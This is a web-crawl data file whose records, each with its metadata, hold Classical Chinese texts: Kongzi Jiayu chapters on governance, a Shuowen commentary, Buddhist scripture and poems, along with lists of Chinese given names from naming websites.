回\n魯定公問於顏回曰。子亦聞東冶畢之善御乎。對曰。善則善矣。雖然。其馬將必逸。公不悦。其後三日。東冶畢之馬逸。公聞之。促駕召顏回。顏回至。公曰。前日寡人問吾子以東冶畢之善御。而子曰其馬將逸。不識吾子奚以知之。顏回對曰。以政知之而已矣。昔者。帝舜巧於使民。而造父巧於使馬。舜不窮其民力。造父不窮其馬力。是以舜無逸民。造父無逸馬。今東冶畢之御也。歷嶮致遠。馬力盡矣。然而其心猶求馬不已。臣以此知之。公曰。善哉。吾子之言。其義大矣。願少進乎。顏回曰。臣聞之。鳥窮則噣。獸窮則攫。人窮則詐。馬窮則逸。自古及今。未有窮其下而能無危者也。公悦。\n困 誓\n衞蘧伯玉賢而靈公不用。彌子瑕不肖而反任之。史魚驟諫。公不從。史魚病將卒。命其子曰。吾在公朝。不能進蘧伯玉退彌子瑕。是吾爲臣不能正君也。生而不能正君。死不可以成禮矣。吾死。汝置尸牖下。於我畢矣。畢猶足也。禮殯於客位。其子從之。靈公吊焉。怪而問之。其子以其父言告。公公愕然失容。曰。是寡人之過也。於是命之殯於客位。進蘧伯玉而用之。退彌子瑕而遠之。孔子聞之曰。古之烈諫者。死則已矣。未有若史魚死而尸諫。忠感其君者也。可不謂直乎。\n執 轡\n閔子騫爲費宰。問政於孔子。孔子曰。以德以法。夫德法者。御民之具。猶御馬之有銜勒也。君者。人也。吏者。轡也。刑者。策也。人君之政。執其轡策而已矣。子騫曰。敢問古之爲政。孔子曰。古者。天子以内史爲左右手。以德法爲銜勒。以百官爲轡。以刑罰爲策。以萬民爲馬。故御天下數百年而不失。善御馬者。正銜勒。齊轡策。均馬力。和馬心。故口無聲而馬應轡。策不舉而極千里。極。至也。善御民者。一其德法。正其百官。均齊民力。和安民心。故令不再而民順從。刑不用而天下化治。是以天地德之。天地以爲有德。而兆民懷之。懷。歸。不能御民者。弃其德法。專用刑辟。譬猶御馬。弃其銜勒而專用捶策。其不可製 也必矣。夫無銜勒而用捶策。馬必傷。車必敗。無德法而用刑辟。民必流。國必亡。凡治國而無德法。則民無所法修。民無所法修。則迷惑失道。古之御天下者。以六官總治焉。六官在手以爲轡。故曰。御四馬者執六轡。御天下者正六官。是故善御馬者。正身以總轡。均馬力。齊馬心。迴旋曲折。唯其所之。故可以取長道。可以趣急疾。此聖人所以御天地與人事之法(舊無法字。補之)則也。天子以内史爲左右手。以六官爲轡。己(己下舊有而字。删之)與三公執六官。均五教。齊五法。仁義禮智信之法也。故亦唯其所引。無不如志。\n五 刑\n冉有問於孔子曰。先王製 法。使刑不上於大夫。禮不下於庶人。然則大夫之犯罪。不可以加刑。庶人之行事。不可以治禮乎。孔子曰。不然。凡治君子以禮義御其心。所以厲之以廉耻之節也。故古之大夫。其有坐不廉污穢而退放之者。則曰簠簋不飾。飾。整齊。有坐淫亂男女無别者。則曰帷薄不修。有坐罔上不忠者。則曰臣節未著。有坐疲軟不勝任者。則曰下官不職。言其下官不務(務作稱)其職。不斥其身也。有坐干國之紀者。則曰行事不請。言不請而擅行也。此五者。大夫既自定有罪名矣。而猶不忍斥然正以呼之也。既而爲之諱。所以愧耻之。是故大夫之罪。其在五刑之域者。譴發則白冠氂纓。盤水加劍。造於闕而自請罪。君不使有司執縛牽掣而加之也。其有大罪者。聞命則北面再拜。跪而自裁。君不使人捽引而刑殺之也。曰。子大夫自取之耳。吾遇子有禮矣。是以刑不上大夫。而大夫亦不失其罪者。教使然也。凡所謂禮不下庶人者。以庶人遽其事而不能充禮。故不責之以備禮也。\n刑 政\n仲弓問於孔子曰。雍聞至刑無所用政。至政無所用刑。至刑無所用政。桀紂之世是也。至政無所用刑。成康之世是也。信乎。孔子曰。聖人之治化也。必刑政相參焉。太上以德教民。而以禮齊之。其次以政導民。以刑禁之。化之弗變。導之弗從。傷義敗俗。於是乎用刑矣。\n仲弓曰。古之聽訟。可得聞乎。孔子曰。凡聽五刑之訟。必原父子之親。立君臣之義。以權之。意論輕重之序。慎測淺深之量。以别之。悉其聰明。致其忠愛。以盡之。大司寇正刑明辟以察獄。獄必三訊焉。一曰訊群臣。二曰訊群吏。三曰訊萬民也。有指無簡則不聽。簡。誠也。有其意。無其誠者。不論以爲罪。附從輕。赦從重。附人之罪。以輕爲比。赦人之罪。以重爲比。疑獄則泛。與衆共之。衆疑。赦之。故爵人必於朝。與衆共之也。刑人必於市。與衆弃之也。古者公家不畜刑人。大夫不養也。士遇之塗。弗與之言也。屏諸四方。唯其所之。弗及以政。弗欲生之故也。\n仲弓曰。聽獄。獄之成。成何官。孔子曰。獄成於吏。吏以獄之成告於正。吏。獄官吏也。正。獄官長。正既聽之。乃告於大司寇。大司寇聽之。乃奏於王。王命三公卿士參聽棘木之下。外朝之法。左九棘。孤卿大夫位焉。右九棘。公侯伯子男位焉。面三槐。三公位焉。然後乃以獄之成報於王。王以三宥之法聽之。君王尚寬。罪雖已定。猶三宥之。不可得輕。然後刑之也。而後製 刑焉。所以重之也。\n仲弓曰。古之禁何禁。孔子曰。析言破律。巧賣法令者也。亂名改作。變易官與物名。執左道以亂政者殺。左道。邪道。作淫聲。淫逸惑亂之聲。造异服。非人所常見。設奇伎奇器以蕩上心者殺。怪异之伎。可以眩曜人心之器。蕩。動也。行僞而堅。行詐僞而堅守。言僞而辨。學非而博。順非而澤。順其非而滑澤之。以惑衆者殺。假於鬼神時日卜筮以疑民者殺。此四誅者。不待時不以聽。不聽於棘木之下也。\n問 玉\n子張問聖人之所以教。孔子曰。師乎。吾語汝。聖人明於禮樂。舉而措之而已。子張又問。孔子曰。師。爾以爲必布几筵。揖讓升降。酌獻酬酢。然後謂之禮乎。爾以爲必行綴兆。執羽籥。作鐘鼓。然後謂之樂乎。言而可履。禮也。行而可樂。樂也。聖人力此二者。以恭已南面。是故天下太平。萬國順服。百官承事。上下有禮也。夫禮之所興。衆之所以治也。禮之所廢。衆之所以亂也。昔者。明王聖主之辨貴賤長幼。正男女外内。序親疏遠邇。而莫敢相逾越者。皆由此塗出也。\n屈 節\n宓子賤爲單父宰。恐魯君聽讒人。使己不得行其政。於是辭行也。故請君之近史二人與之俱至官。宓子戒其邑吏。令二史書。方書。掣其肘。書不善。則從而怒之。二史患焉。辭請歸。魯君以問孔子。孔子曰。宓不齊。君子也。意者其以此諫乎。公寤。大息而嘆曰。此寡人之不肖也。寡人亂宓子之政而責其善者數矣。微二史則寡人無以知過。微夫子則寡人無由寤。遽使告宓子曰。自今日以往。單父非吾有也。從子之製 。有便於民者。子决爲之。五年一言其要。宓子遂得行政於單父焉。躬敦厚。明親親。尚篤敬。施至仁。加懇誠。致忠信。百姓化之。\n正 論\n定(定作哀)公問於孔子曰。大夫皆勸寡人使隆敬于高年。可乎。孔子對曰。君之及此言也。將天下實賴之。豈惟魯而已哉。公曰。何也。孔子曰。昔者。有虞氏貴德而上齒。夏后氏貴爵而上齒。殷人貴富而上齒。富謂世禄之家。周人貴親而上齒。虞。夏。殷。周。天下之盛王也。未有遺年者焉。年之貴於天下久矣。次於事親。是故朝廷同爵則上齒。七十杖於朝。君問則席。君欲問之。則爲之設席。八十不仕朝。君問則就之。而悌達於朝廷矣。其行也。肩而不并。不敢與長者并肩也。不錯則隨。錯。鴈行也。父黨隨行。兄黨鴈行。見老者。則車從避。見老者在道。車與步皆避之也。斑白者不以其任行於路。任。擔也。少者代之也。而悌達於道路矣。居鄕以齒。而老窮不匱。强不犯弱。衆不暴寡。而悌達於州巷矣。古之道。五十不爲甸役。五十始老。不從力役之事。不及山獵之徒也。頒禽隆諸長者。而悌達於蒐狩矣。軍旅什伍。同爵則上齒。而悌達於軍旅矣。夫聖王之教孝悌。發諸朝廷。行於道路。至於州巷。放於蒐狩。修於軍旅。則衆同以義死之而弗敢犯也。公曰。善。\n哀公問於孔子曰。寡人聞之。東益不祥。東益。東益宅也。信有之乎。孔子曰。不祥有五。而東益不與焉。夫損人而自益。身之不祥也。弃老而取幼。家之不祥也。釋賢而用不肖。國之不祥也。老者不教。幼者不學。俗之不祥也。聖人伏匿。愚者擅權。天下不祥也。故不祥有五。而東益不與焉。\n子夏問\n子夏問於孔子曰。記云。周公相成王。教之以世子之禮。有諸。孔子曰。昔者。成王嗣立。幼。未能莅祚。周公攝政而治。抗世子之法於伯禽。欲成王之知父子君臣之道。所以善成王也。夫知爲人子者。然後可以爲人父。知爲人臣者。然後可以爲人君。知事人者。然後可以使人。是故抗世子法於伯禽。使之與成王居。使成王知父子君臣長幼之義焉。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0021831.html","date":"2017-04-24T22:51:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917119995.14\/warc\/CC-MAIN-20170423031159-00264-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.7022729516,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.7022729516029358, \"cmn_Hani_score\": 0.15552547574043274, \"nan_Hani_score\": 0.05675061047077179, \"jpn_Jpan_score\": 0.027895232662558556, \"wuu_Hani_score\": 0.020347749814391136}","num_words":108,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.028,"flagged_words_ratio":0.0,"lang_id_score":0.702,"perplexity_score":500.0,"cluster_detection":1} +{"text":"杜姓的姓氏在我们中国现今是比较少的了,那么杜姓的男孩们用于什么样的名字才适合,很多父母在孩子刚来到世上的时候很着急的给予他的名字,名字是代表一生的,最好的还是根据生辰八字来取名才是最好的。那么下面我们一起看看杜姓男孩名字大全。\n杜绍年 杜弘利 杜俊浩 杜克明 杜雅雄 杜武辉 杜昱宸 杜其桓 杜承昊 杜益晓 杜骏汶 杜轶铭 杜雁芸 杜昊远 杜海军 杜根菊 杜涵亮 杜浩男 杜伊贝 杜世澄 杜晓斌 杜宇坚 杜芳研 杜举成 杜成卓 杜衡与 杜一博 杜秋实 杜亚珊 杜宇涵 杜朗弘 杜汶彤 杜永智 杜弈成 杜骏铧 杜友信 杜满金 杜会勇 杜方利 杜浩田 杜贺鑫 杜小阳 杜鹏飞 杜茂华 杜依璠 杜欣荣 杜芳利 杜子雍 杜一唯 杜晓婕 杜会群 杜仁富 杜钇飞 杜绍功 杜明阳 杜沿希 杜惜枫 杜德辉 杜家铭 杜恩冬 杜东海 杜佳艺 杜金雨 杜昊博 杜静波 杜雨帆 杜骁勇 杜平凡 杜文佳 杜彦君 杜静雯 杜泉玮 杜俊亮 杜连军 杜祎浩 杜今坤 杜联威 杜泽舰 杜秦宇 杜绍桀 杜江林 杜致成 杜华楠 杜明明 杜小毅 杜玉泓 杜虹霖 杜秋桦 杜佳融 杜少易 杜旭宁 杜鑫屹 杜新雄 杜庆林 杜利滔 杜承恩 杜思苇 杜尚怿 杜宛沁 杜洪宇 杜静源 杜柏达 杜绍良 杜家瑞 杜正煊 杜双飞 杜循缘 杜连成 杜海银 杜沂洪 杜瑞军 杜沁灯 杜川云 杜志刚 杜秀军 杜绍龙 杜金韩 杜天号 杜景民 杜祎佟 杜法好 杜兆颜 杜思言 杜言毅 杜卓飞 杜庆卫 杜韵铄 杜梓宁 杜太贺 杜军辉 杜少涵 杜新国 杜囿妮 杜宣霖 杜欣禧 杜振国 杜秋璇 杜凌凌 杜绍杨 杜成凇 杜子瑜 杜润哲 杜金淞 杜少成 杜思嘉 杜乃迪 杜佳磊 杜瑜婕 杜祉恒 杜昊达 杜佳羽 杜铭懿 杜裕键 杜冰心 杜芳颜 杜炳亨 杜岳江 杜姗姗 杜雪翠 杜雨轩 杜新虹 杜承刚 杜文颢 杜雨巍 杜月回 杜承扬 杜志浩 杜远桥 杜江君 杜俊明 杜昌案 杜柏君 杜婉焉 杜炅彦 杜凤敏 杜海钦 杜亦欣 杜润根 杜飞翰 杜绍涵 杜络霖 杜卫星 杜滨博 杜俞兰 杜绍民 杜宣漪 杜炳辉 杜子海 杜乐晨 杜泽麟 杜栩葳 杜绍轩 杜绍本 杜亮宏 杜丽莎 杜新仓 杜绍海 杜少嘉 杜绍贤 杜绍祥","id":"","dump":"CC-MAIN-2019-47","url":"https:\/\/www.j-takamine.com\/c\/xingming\/39258.html","date":"2019-11-15T23:20:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496668716.22\/warc\/CC-MAIN-20191115222436-20191116010436-00050.warc.gz","language":"lzh","language_score":0.9444471002,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9444471001625061, \"cmn_Hani_score\": 0.0331561416387558, \"yue_Hani_score\": 0.014806755818426609}","num_words":201,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.953,"perplexity_score":500.0,"cluster_detection":1} +{"text":"李昭欣 李昭軒 李昭陽 李昭一 李昭伊 李昭儀 李昭亦 李昭翼 李昭鈺 李昭蕓 李兆晨 李肇琪 李哲宸 李哲浩 李哲華 李哲鵬 李哲旺 李哲為 李貞嫻 李貞曄 李楨熙 李禎曄 李圳棋 李圳旗 李振鳳 李振國 李振昊 李振浩 李振華 李振軍 李振鵬 李振喜 李振星 李振瑜 李振中 李振忠 李振洲 李鎮西 李震中 李爭睿 李崢嶸 李鉦蘋 李錚輝 李正瀚 李正火 李正旗 李正翔 李正言 李正宇 李鄭康 李政斌 李政董 李政翰 李之林 李之衛 李支炎 李卮睿 李芝剛 李芝林 李枝林 李枝炎 李枝焱 李知杰 李知林 李知睿 李知遠 李芷涵 李芷熹 李芷儀 李祉海 李祉齊 李志東 李志剛 李志豪 李志浩 李志宏 李志輝 李志會 李志堅 李志江 李志坤 李志蘭 李志林 李志民 李志楠 李志平 李志強 李志勇 李志忠 李治國 李治寬\n李治利 李治林 李治螢 李治中 李質恒 李峙峙 李摯翔 李致林 李智聰 李智懷 李智翔 李中華 李中建 李中濤 李中央 李忠清 李忠勇 李周益 李竹蕓 李竺坷 李杼遙 李柱修 李壯方 李壯壯 李卓超 李卓晨 李卓恒 李卓鴻 李卓佳 李卓靜 李卓俊 李卓龍 李卓淇 李卓然 李卓姍 李卓汶 李卓秀 李卓軒 李卓璇 李卓陽 李卓洋 李卓殷 李卓豫 李仔然 李仔睿 李孜然 李孜睿 李姿薇 李籽戌 李籽語 李子燦 李子琛 李子聰 李子晗 李子涵 李子杭 李子豪 李子杰 李子俊 李子林 李子平 李子芮 李子銳 李子睿 李子石 李子帥 李子戌 李子璇 李子彥 李子鈺 李秭語 李梓彬 李梓發 李梓楓 李梓涵 李梓杭 李梓珩 李梓衡 李梓萌 李梓牧 李梓寧 李梓然 李梓瑋 李梓熹 李梓語 李紫淳 李紫林 李紫茗 李紫然 李紫熹\n李紫陽 李紫茵 李紫瑜 李自林 李自新 李自彥 李宗根 李宗翰 李宗基 李宗明 李宗奇 李宗仁 李宗睿 李宗偉 李宗興 李宗原 李祖碧 李祖兒\n古語云\"寧可生錯命,不可起錯名\",一個好的名字,不僅給別人印象深刻,而且還關系到人一生的事業、婚姻、健康和人際關系。名字筆畫五行不要和命譜四柱五行相聯系,它本身五格部象的五行相生相克是其本身獨立一格的五行,與命譜五行沒有聯系的,無須考慮筆畫五行來選名字,但名字的筆畫五行在五格剖象中要五行相生,不能相克。起名網(www.skinovationsofjoplin.com)基于以上原則和自動生成算法,只需要輸入你的姓氏可以免費為你推薦比較好的名字以及詳細的命理、運程、吉兇解析。","id":"","dump":"CC-MAIN-2023-23","url":"http:\/\/www.skinovationsofjoplin.com\/xing\/x4_1_0_6.html","date":"2023-06-02T02:04:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224648245.63\/warc\/CC-MAIN-20230602003804-20230602033804-00531.warc.gz","language":"lzh","language_score":0.4326646328,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4326646327972412, \"nan_Hani_score\": 0.3790574371814728, \"cmn_Hani_score\": 0.18454435467720032}","num_words":200,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.466,"perplexity_score":500.0,"cluster_detection":1} +{"text":"九龙\n网站用户\n颓了了以终日兮,忽奄奄迎岁末。农人勤恳笑满仓兮,闲懒不足与共语。水浩浩而东流兮,疏中洲之沙砾。鸥鹭翔以振翅兮,徒羡其拥白羽。苟夸辞以浮浪兮,飘风过而不息。树兰芳而滋菊兮,盈满室而沃香。不稼穑而空食兮,蛀米谷犹不耻。\n曾振衣陟高冈兮,路幽隘而崎岖。溯急流而奋进兮,滔浪奔涌而飞天。纷总总其绚烂兮,繁华尽而阑珊。鹜驰驱而行不止兮,竭全力以赴汤。临深渊而履薄冰兮,恐大业之耽延。\n疾突袭而倾圮兮,弱躯安能久长?徘徊空叹往日兮,悔修名之未立。夜漫漫似无期兮,黑洞洞而吞星光。叱咤古今之圣伟兮,诫吾珍时惜光。惧不孝加诸身兮,安忍又唾残生?岂无颜对父老兮,徒留抱负于青天。大道高远以无边兮,独无径伸四方。\n已矣夫!养生不若呼与吸兮,晤老庄之无为。沐日月之辉光兮,同草木之霖露。顺四时之节变兮,随清心之舒扬。学夫子日三省兮,激愤颓而不长。学老农日稼一穑兮,渐渐细水流觞。作省身赋以识真兮,去怅惘之芜荒。","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/vip.chinawriter.com.cn\/member\/dampling435604\/viewarchives_33990.html","date":"2023-10-03T06:23:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233511055.59\/warc\/CC-MAIN-20231003060619-20231003090619-00888.warc.gz","language":"lzh","language_score":0.5789824724,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5789824724197388, \"nan_Hani_score\": 0.06675761193037033, \"cmn_Hani_score\": 0.0574970506131649, \"zxx_Latn_score\": 0.031987693160772324, \"und_Xsux_score\": 0.019218629226088524, \"yue_Hani_score\": 0.01809280551970005, \"und_Grek_score\": 0.0164564847946167, \"und_Hluw_score\": 0.01528211310505867, \"und_Tang_score\": 0.010342076420783997}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.383,"perplexity_score":500.0,"cluster_detection":1} +{"text":"土部曰。堋、葬下土也。春秋傳朝而堋。禮謂之封。周官謂之窆。按禮謂十七篇也。士喪禮下篇曰。及窆。主人哭踊無筭。注。窆、下棺也。今文窆爲封。然則許十七篇從今文。鄭從古文而曡今文也。凡戴記皆作封。戴記從今文也。周官謂之窆者、周禮鄉師云及窆執斧以涖匠師。先鄭云。窆謂葬下棺。春秋傳所謂傰。禮記所謂封也。按堋窆封三字分蒸侵東三韵。而一聲之轉。\n方騐切。古音在七部。","id":"","dump":"CC-MAIN-2024-18","url":"https:\/\/www.shuowen.org\/view\/4659?pinyin=bian","date":"2024-04-17T05:07:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2024-18\/segments\/1712296817144.49\/warc\/CC-MAIN-20240417044411-20240417074411-00790.warc.gz","language":"lzh","language_score":0.426961273,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4269612729549408, \"cmn_Hani_score\": 0.18114079535007477, \"zxx_Latn_score\": 0.08262324333190918, \"jpn_Jpan_score\": 0.06705877184867859, \"wuu_Hani_score\": 0.03856982663273811, \"und_Cyrl_score\": 0.025020631030201912, \"yue_Hani_score\": 0.021193739026784897, \"nan_Hani_score\": 0.01505125593394041, \"und_Hira_score\": 0.012331745587289333, \"und_Tang_score\": 0.011488516815006733, \"und_Xsux_score\": 0.01132575236260891}","num_words":2,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.427,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(名數)一不捨菩提心之戒。二遠離二乘地之戒。三觀察利益一切眾生之戒。四使一切眾生住於佛法之戒。五修一切菩薩所學之戒。六於一切法無所得之戒。七以一切善根迴向菩提之戒。八不著於一切如來身之戒。九離思惟取著一切法之戒。十諸根律儀之戒。見唐華嚴經五十三,智度論二十二,唐華嚴經二十一。","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/buddhaspace.org\/dict\/dfb\/data\/%25E5%258D%2581%25E7%25A8%25AE%25E6%2588%2592.html","date":"2018-11-19T09:00:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039745522.86\/warc\/CC-MAIN-20181119084944-20181119110944-00518.warc.gz","language":"lzh","language_score":0.4332405925,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4332405924797058, \"cmn_Hani_score\": 0.3356660306453705, \"nan_Hani_score\": 0.0934569388628006, \"wuu_Hani_score\": 0.05334287881851196, \"jpn_Jpan_score\": 0.01799957826733589, \"yue_Hani_score\": 0.012468603439629078, \"und_Xsux_score\": 0.010168151929974556}","num_words":1,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.174,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.418,"perplexity_score":500.0,"cluster_detection":1} +{"text":"般若心経一巻丸々トゥートできるので、トゥートしたら唱えたことになるというマニ車的用法が流行ったりしないのか。\n観摩訶般若波羅蜜多心経\n観自在菩薩 行深般若波羅蜜多時 照見五蘊皆空 度一切苦厄 舎利子 色不異空 空不異色 色即是空 空即是色 受想行識亦復如是 舎利子 是諸法空相 不生不滅 不垢不浄 不増不減 是故空中 無色無受想行識 無眼耳鼻舌身意 無色声香味触法 無眼界乃至無意識界 無無明亦無無明尽 乃至無老死亦無老死尽 無苦集滅道 無智亦無得 以無所得故 菩提薩埵 依般若波羅蜜多故 心無罣礙 無罣礙故 無有恐怖 遠離一切顛倒夢想 究竟涅槃 三世諸仏 依般若波羅蜜多故 得阿耨多羅三藐三菩提 故知般若波羅蜜多 是大神呪 是大明呪 是無上呪 是無等等呪 能除一切苦 真実不虚 故説般若波羅蜜多呪 即説呪曰 羯諦羯諦 波羅羯諦 波羅僧羯諦 菩提薩婆訶 般若心経\nMastodon日本鯖です.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/mstdn.jp\/@gunboze\/2993379","date":"2019-04-23T17:50:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578610036.72\/warc\/CC-MAIN-20190423174820-20190423200820-00160.warc.gz","language":"lzh","language_score":0.4585241079,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.45852410793304443, \"nan_Hani_score\": 0.3165079653263092, \"jpn_Jpan_score\": 0.08751294016838074, \"cmn_Hani_score\": 0.08263612538576126, \"wuu_Hani_score\": 0.05188978090882301}","num_words":52,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.452,"perplexity_score":500.0,"cluster_detection":1} +{"text":"上清辭\n帝蕩蕩其無尊兮,居深高乎九閽。顧后土之茫昧兮,若世人之觀天。雲冥冥其無見兮,曰其下維神奸。山重深而海廣兮,憂百鬼之傷人。屬神媼以九土兮,畀海若以九川。時節降以督視兮,下斗魁之神君。籲嗟君兮,吾不可得而訊也。庸使我待之人兮,其使我以為神也。朝求兮山顛,夕采兮澗涘。取荷華兮菱實,拾芳蘭兮白芷。鹿伎伎兮來罝,魚揖揖兮趨餌。秋風高而稻熟兮,寒泉冽其清泚。為酒醴以跪酌兮,斷白茅而為委。嗟天上其何食兮,畏人君之不吾以。進屏息以薦恪兮,退俯傴而仰俟。為善得福兮,畀惡以死。恐懼受賜兮,怠傲獲罪。玉食有不享兮,曾潢汙蕨薇之不棄。謂神君之不可知兮,何好惡之吾似。跨修龍之百尋兮,騰怒發而上指。從千騎之飄忽兮,拂長劍其天倚。隕星殃於太極兮,霍雲散而風靡。還秘殿之清深兮,目流電其不可仰視。望威神而股栗兮,知其中之人耳。致吾有以薦誠兮,庶其可得而祀也。\n|本北宋作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2019-39","url":"https:\/\/zh.wikisource.org\/wiki\/%E4%B8%8A%E6%B8%85%E8%BE%AD","date":"2019-09-15T22:50:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-39\/segments\/1568514572436.52\/warc\/CC-MAIN-20190915215643-20190916001643-00417.warc.gz","language":"lzh","language_score":0.4898329973,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.4898329973220825, \"zxx_Latn_score\": 0.10028877854347229, \"und_Xsux_score\": 0.054793830960989, \"cmn_Hani_score\": 0.028242241591215134, \"nan_Hani_score\": 0.027638202533125877, \"und_Tang_score\": 0.026959441602230072, \"und_Grek_score\": 0.014935849234461784, \"und_Sgnw_score\": 0.014647264964878559, \"und_Hira_score\": 0.013627658598124981, \"und_Cyrl_score\": 0.013505639508366585, \"und_Cans_score\": 0.013151434250175953, \"und_Vaii_score\": 0.011686050333082676, \"und_Ethi_score\": 0.011482158675789833}","num_words":3,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.248,"perplexity_score":500.0,"cluster_detection":1} +{"text":"你应该怎么给戌时出生的宝宝取名呢? 下面给你介绍戌时出生的宝宝取名注意事项於(yū)(yù得姓始祖为於则。於牡蓉 於隆琴 於惊文 於旃文 於萃颖 於养霞 於琳捃 於妃永 於羿燕 於众莉 於委放 於紊玉 於怡晁 於一娅 於媛涔 於腱霞 於御芬 於蔷婷 於岚戴 於帼洁 於夺玉 於勋蓉 於充悦 於欧瑶 於猁玉 於祀玉 於锋莉 於事艳 於茹樱 於莹儇 於查文 於璇娜 於婷纡 於骄瑶 於静矶 於非莹 於燕鹂 於古琴 於磬媛 於长瑛 於媛姣 於琳涪 於茹婕 於锆萍 於娜桦 於上怡 於婧方 於娜月 於健娟 於镓玉 於惟茹 於汀娅 於叶蓉 於瑶穆 於存悦 於墁悦 於倩妞 於娟婵 於莎妍 於茹逍 於桐婵 於燕才 於迪琴 於妍漩 於栋萍 於暖洁 於筠花 於男英 於含琴 於邕玉 於体娜 於娅钻 於烽霞 於晚妍 於兮秀 於瑛妹 於婧菩 於琪娥 於砾美 於悦黛 於蓉镁 於都芬 於锵萍 於丘琼 於羲艳 於莹灏 於霈耿 於兹婧 於旗芳 於临尊 於甬怡 於娜微 於左琼 於纤琴 於方瑛 於娟峡 於娅进 於婧阁 於叮英 於楠瑶 於频萍 於驰永 於豫玲 於幼琼 於今芬 於袖玲 於秀淅 於貌琳 於火田 於蔼燕 於泶茹 於姗茹 於莉闲 於挚红 於刀文 於益冉 於玲琨 於娟存 於杨莹 於秀璎 於适琳 於柯动 於琳菥 於琳泞 於添琼 於秀娈 於央芬 於单知 於女琼 於洽琳 於煊娟 於菽倩 於茹菸 於宸萍 於莹斌 於霓瑶 於蓉有 於照燕 於缃怡 於皆莹 於倩喜 於鹭怡 於莹璞 於熳妍 於逍霞 於缤芳 於媛池 於燕广 於钏丽 於洳娅 於莘红 於逊妍 於芩娜 於澎颖 於玺洁 於芬蓝 於式玲 於儿燕 於南妍 於蓉聪 於莹淦 於能瑛 於娈萍 於豌英 於匀英 於婷揄 於蓉誉 於怡与 於娟惠 於镜娟 於伥英 於珲莹 於庄美 於砚燕 於卿琼 於倪娟 於榛萍 於殳倩 於郅英 於梁娜 於芬实 於铃茹 於榉琳 於燕韦 於莹变 於怡滋 於渫婷 於珑嫣 於转萍 於娥玫 於蓉蓝 於怡三 於株艳 於裴滟 於倍冉 於瑛秋 於淳玲 於奥娜 於秀层 於锫洁 於友怡 於莹幻 於瑛翠 於卸文 於怊怡 於怡铵 於渊婧 於侯花 於茴娟 於烽萍 於茹荭 於帧悦 於业芳 於蓉均 於瀚芬 於阑玉 於岫媛 於铎美 於垭丽 於字颖 於檩霞 於茸婷 於裴丛 於午霞 於锖莹 於龙娜 於珑雪 於旎妍 於迦茹 於营文 於从瑶 於溶美 於瑛琛 於婵冯 於朕玉 於驿筹 於炫娟 於莹茔 於纪茹 於麒梅 於翘萍 於倩霎 於胧人 於婵玳 於岑琴 於衿颖 於瑷芳 於异红 於蝾文 於熳莹 於馥颉 於瑛少 於潍文 於霞新 於嫣奇 於毛娜 於统冉 於晨妹 於卿柔 於泫英 於漳琳 於留瑛 於仟霞 於品婧 於忱婧 於楚丽 於颀婷 於调玉 於接芳 於纲蔼 於后文 於铭琼 於溱怡 於悦进 於雍英 於莹群 於娜晴 於栌玉 於垭洁 於葭茹 於仪嫣 於秀梓 於铕琳 於秀鹳 於玲本 於偌英 於二怡 於涎文 於祧文 於微洁 於裴均 於莼萍 於微娅 於教玉 於步梅 於骄芳 於艳骥 於涩嫣 於秀莼 於旖美 於裴慧 於烟妍 於澜瑶 於妍桧 於干曾 於裴贤 於悦祚 於箩嫣 於袭琼 於悦匀 於鹭雪 於彭雪 於奇霞 於琴缘 於瑶器 於冗蓉 於惋琴 於日西 於倩逍 於步芬 於养婷 於莹绿 於飑玲 於涵妞 於玲翎 於染雪 於倩忸 於实玫 於怡刚 於元婵 於斓英 於鬼花 於郧莉 於银婧 於其妹 於琼妹 於萱琴 